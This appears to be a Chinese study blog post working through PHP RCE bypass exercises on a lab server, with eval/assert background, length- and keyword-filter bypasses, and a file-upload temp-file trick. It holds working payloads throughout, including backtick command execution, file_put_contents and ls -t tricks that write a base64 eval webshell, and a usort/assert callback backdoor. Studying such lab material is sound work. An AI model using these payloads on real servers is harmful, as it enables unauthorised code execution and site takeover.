当前位置: 首页 > news >正文

RCE绕过练习

一.了解eval与assert

eval与assert区别_eval assert-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/qq_53568983/article/details/129782507

看了php官方文档,assert中提到的许多名词不明白,转而搜索文章,这篇是解释的是最直白的

其中提到eval不是一个函数,是语言构造器,不能被可变函数调用

什么是语言构造器和可变函数

你提到的“语言构造器”,英文是"language construct",是语言构成的意思,翻译成语言构造器难免有点令人困惑。PHP里有echoprintdierequire等几个特殊的关键字,虽然它们用起来像是函数,但实际上更类似于ifwhile这样控制语句,而不是一个函数。也就是说,当解释器遇到:

print 'Hello world';

这样的一个表达式的时候,并不会把它转换成函数调用,而是直接映射到一系列预先定义好的操作。使用语言构成的时候可以加括号,也可以不加括号,但是使用函数的时候必须加括号。

你提到的“可变函数”,英文是"variable function",变量函数的意思,翻译成“可变函数”也有点扭曲原义,把variable(变量)这个名词按形容词(可变)的含义来翻译了。PHP里的Variable function是指如果在一个变量后面加上一对括号,那么解释器会试图寻找名字和这个变量的值一样的一个函数,如果找到了就执行它。例如,有一个函数foo(),那么可以用下面这种方式调用这个函数:

// 初始化一个字符串变量
$func = 'foo';// 找到名字和这个字符串一样的函数,并且执行它
$func();

所以,你提到的这句话的含义就是,使用变量函数这种方式来调用一个语言构成是不允许的,例如下面这样:

$func = 'print';// 这样做会产生异常,因为print不是一个函数,而是语言的构成部分
$func('hello world');

执行这段代码,会产生一个异常,函数print没有定义。

   eval可以动态传参,但是不能作为回调函数传递,也不可以像函数一样被动态调用

assert

        我们看官方文档,提到的asser的用法,其中有两个参数assertion与description

assert(mixed $assertion, Throwable|string|null $description = null): bool

 

不明白啥是断言,不重要,但是看到了assert会运行assertion参数,查看警告内容发现

感觉这里就是老师为什么写,因为当assertion参数为string时,会用eval执行,那直接写不是也可以

以及为什么当时传参数&post会失败,因为要求assertion参数为带返回值的表达式或字符串,用eval包裹起来是本质就是会用eval来执行.

assert(eval(),$post[])

 RCE-1

        这里想用Linux环境的,但是不知道说未找到文件,可是文件在啊

不纠结这个,用了小皮直接弄,看第一题代码

<?php
$param = $_REQUEST['param'];  If (
strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
) {
eval($param);
}

要求长度在17个字符内且不出现关键字eval与assert

发现第一题要执行代码,还是弄Linux

研究了下发现是习惯了小皮写路径,Linux不写就可以了

1题关键在于不能用eval和assert执行命令

方法1

http://192.168.23.132/xiaoa.php?param=echo%20`$_GET[1]`;&1=id

更改子句即可达到不同效果,但是要注意权限 

PPT里说可以用exec,那system应该也可以     

 不可以,应该是超长度了

方法2

        使用file_put_contents函数

这个函数的作用是将数据写入文件的

file_put_contents(string $filename,mixed $data,int $flags = 0,?resource $context = null
): int|false

其中有四个参数

$filename是要传入的参数名,$date是传入数据 ,$flags是

于是便有语句

http://192.168.23.132/xiaoa.php?1=file_put_contents&param=$_GET[1](N,P,8);

通过多次追加让文件N内形成经过base64转码后的php脚本

注:1.用base64转码是因为有部分特殊字符,file_put_contents无法追加.

2.$flag位置该写FILE_APPEND

表示追加,写8的原因一个是php底层C语言代码8代表追加,另一个是FILE_APPEND会超出长度限制

追加完成后用方法3中include执行

http://192.168.23.132/xiaoa.php?param=include$_GET[1];&1=php://filter/read=convert.b%20%20ase64-decode/resource=N

方法3

        include会把文件当作php文件执行

phpinfo(); ⇒ $_FILES[file][tmp_name] ⇒ include

这是PPT上的语句,看看啥意思

解释说这是一个超全局数组,tmp_name是临时文件名,意思是会将上传的临时文件当作php代码执行

猜测是前面的子句作为文件内容传递给数组,再传递给include执行

方法4

        PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行

?1[]=test&1[]=phpinfo();&2=assert

我用的php是7.4的,... 代表可变长参数,里面的参数这里有2个

第一个是数组,第二个是回调函数assert,把数组里的数据全部传给回函数执行

RCE-2

        代码,要求长度不能大于8

<?php
$param = $_REQUEST['param'];  
If ( strlen($param) < 8 ) 
{  echo shell_exec($param);
}

 shell_exec可以执行shell脚本

方法1

第一步先用data>file把脚本生成,这个可以将数据内容重定向文件,不要内容,将文件名当作命令慢慢拼凑

ls -t ech\ o \    PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\  7|\    bas\ e64\    -\    d>\    xx.p\ hp

ls -t命令会以时间顺序展示文件,去掉换行符就是一条完整的语句

换行符每次都被\转义

发现这个方法的简直是个人才,这都可以

RCE-3

        无字母数字webshell代码

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

php7下的解决方法

        不允许出现字母数字,就直接子句位取反

PHP5下的解决方法

        利用上传产生的临时文件,执行临时文件生成脚本

难点:如何匹配临时文件

答:临时文件结尾字母为大写字母高概率

Linux中有glob通配符

Glob通配符-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/zhuchuji/article/details/51297819如何上传临时文件

        1.先建立一个脚本文件

        

        2.写一个html文件提交页面

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form action="xiaoa.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit", value="submit"></form></body>
</html>

3.第三步抓包,抓到提交包和访问包

 

 4.修改访问包

 这里的code得写匹配临时文件的表达式,通过glob表达式匹配

glob表达式 - 简书 (jianshu.com)icon-default.png?t=N7T8https://www.jianshu.com/p/91eb8d81da64

  • *可以代替0个及以上任意字符

  • ?可以代表1个任意字符

php的临时文件中含有大写字母,在ascii表中大写字母@到[

使用/???/????????[@-[]匹配 

5.如何执行文件

在linux中使用.+文件名可以让没有执行权限的文件执行,现在就考虑如何拿到点表示当前路径

这里不用,记岔了,下一个文章写如何拿到点

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 工厂模式和策略模式区别以及使用
  • STM32第十二节(中级篇):串口通信(第二节)——串口固件库函数以及串口发送和接收代码讲解
  • Nginx与Tomcat的区别
  • 计算机网络部分基础知识
  • 安全无忧!Windows7全补丁旗舰版:集成所有补丁!
  • 【HBZ分享】MYSQL的联合索引 与 覆盖索引
  • 【二叉树进阶】--- 根据二叉树创建字符串
  • LabVIEW光纤水听器闭环系统
  • 数据库服务器运维最佳实践
  • record 关键字
  • 内核源码定制修改模块化技术总结
  • 线程的概念
  • 基于inotif的文件同步备份
  • 服务器是什么?怎么选择适合自己的服务器?
  • 设计模式 - 组合模式
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • FastReport在线报表设计器工作原理
  • node和express搭建代理服务器(源码)
  • npx命令介绍
  • pdf文件如何在线转换为jpg图片
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • Vue实战(四)登录/注册页的实现
  • vue总结
  • windows下mongoDB的环境配置
  • 阿里云Kubernetes容器服务上体验Knative
  • 测试开发系类之接口自动化测试
  • 翻译--Thinking in React
  • 记一次删除Git记录中的大文件的过程
  • 世界编程语言排行榜2008年06月(ActionScript 挺进20强)
  • 思维导图—你不知道的JavaScript中卷
  • 算法---两个栈实现一个队列
  • 追踪解析 FutureTask 源码
  • 《TCP IP 详解卷1:协议》阅读笔记 - 第六章
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • !! 2.对十份论文和报告中的关于OpenCV和Android NDK开发的总结
  • #微信小程序:微信小程序常见的配置传旨
  • (6)STL算法之转换
  • (7)svelte 教程: Props(属性)
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (MATLAB)第五章-矩阵运算
  • (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
  • (强烈推荐)移动端音视频从零到上手(上)
  • (一)springboot2.7.6集成activit5.23.0之集成引擎
  • (一)WLAN定义和基本架构转
  • (转) 深度模型优化性能 调参
  • (转)大型网站的系统架构
  • ***通过什么方式***网吧
  • ./indexer: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object fil
  • .Family_物联网
  • .Net CoreRabbitMQ消息存储可靠机制
  • .NET Core使用NPOI导出复杂,美观的Excel详解
  • .Net Core中Quartz的使用方法
  • .net mvc 获取url中controller和action
  • .NET/C# 避免调试器不小心提前计算本应延迟计算的值